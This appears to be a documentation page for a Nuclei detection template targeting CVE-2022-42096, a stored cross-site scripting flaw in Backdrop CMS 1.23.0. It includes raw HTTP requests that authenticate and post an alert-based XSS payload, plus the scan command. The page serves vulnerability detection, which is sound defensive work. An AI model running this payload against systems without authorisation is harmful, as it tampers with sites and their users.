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Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)

ID: CVE-2022-42096

Severity: medium

Author: theamanrawat

Tags: cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms

Description

Section titled “Description”

Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via Post content.

YAML Source

Section titled “YAML Source”
id: CVE-2022-42096


info:
  name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via Post content.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42096
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42096
    - https://backdropcms.org
    - https://github.com/manas3c/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42096
    cwe-id: CWE-79
    epss-score: 0.0068
    epss-percentile: 0.79938
    cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: backdropcms
    product: backdrop_cms
  tags: cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms


http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/post HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIubltUxssi0yqDjp


        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="title"


        {{randstr}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="field_tags[und]"


        {{randstr}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="body[und][0][summary]"




        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="body[und][0][value]"


        <img src=x onerror=alert(document.domain)>


        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="body[und][0][format]"


        full_html
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
        Content-Type: application/octet-stream




        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="field_image[und][0][fid]"


        0
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="field_image[und][0][display]"


        1
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="changed"




        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="form_build_id"


        {{form_id_1}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="form_token"


        {{form_token}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="form_id"


        {{form_id_2}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="status"


        1
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="scheduled[date]"


        2023-04-25
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="scheduled[time]"


        16:59:23
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="promote"


        1
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="name"


        {{name}}
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="date[date]"


        2023-04-24
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="date[time]"


        16:59:23
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="path[auto]"


        1
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="comment"


        2
        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="additional_settings__active_tab"




        ------WebKitFormBoundaryIubltUxssi0yqDjp
        Content-Disposition: form-data; name="op"


        Save
        ------WebKitFormBoundaryIubltUxssi0yqDjp--
      - |
        GET /?q=posts/{{randstr}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <img src="x" onerror="alert(document.domain)" />
          - Backdrop CMS
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - name="form_build_id" value="(.*)"
        internal: true


      - type: regex
        name: name
        group: 1
        regex:
          - name="name" value="(.*?)"
        internal: true


      - type: regex
        name: form_id_2
        group: 1
        regex:
          - name="form_id" value="(.*)"
        internal: true


      - type: regex
        name: form_token
        group: 1
        regex:
          - name="form_token" value="(.*)"
        internal: true
# digest: 4a0a00473045022100d834f31e5f5346c5ff8f8ef79a3b23c1af78efabda1672861e3489bb62349daa0220035c736d41ed03f833fb5e578478fccdfe5f8e2bc9556168d52f28daa7a066e1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-42096.yaml"

View on Github